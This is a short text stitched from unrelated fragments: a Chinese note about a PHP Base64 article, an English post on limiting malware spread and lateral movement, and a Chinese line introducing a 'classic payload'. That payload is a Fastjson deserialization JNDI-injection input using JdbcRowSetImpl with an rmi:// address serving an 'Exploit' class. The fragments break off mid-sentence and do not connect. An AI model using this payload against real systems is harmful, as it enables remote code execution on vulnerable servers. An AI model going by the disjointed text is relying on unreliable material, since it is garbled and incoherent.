《PHP 实现 Base64 编码/解码》笔记
放假前,在《C Primer Plus》一书中阅读了关于位运算的章节,对于位运算的一些概念有了基本的认识,所以当静下心来阅读《PHP 实现 Base64 编码/解码》文中的
This post highlights a simple mitigation to improve the security posture of your organization. The idea is to, by practical means, limit attack surface and prevent spreading of automated malware, as well as limiting lateral movement by adversaries.
Network security over the last 15 yearsMalware can spread fast and damage businesses at scale.
SQL Slammer [1] and WannaCry [2] are two well-known cases that showed how quickly and damaging this can be. Interstingly, both of these disasters were nearly 15 years apart.
先看经典 payload
1{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}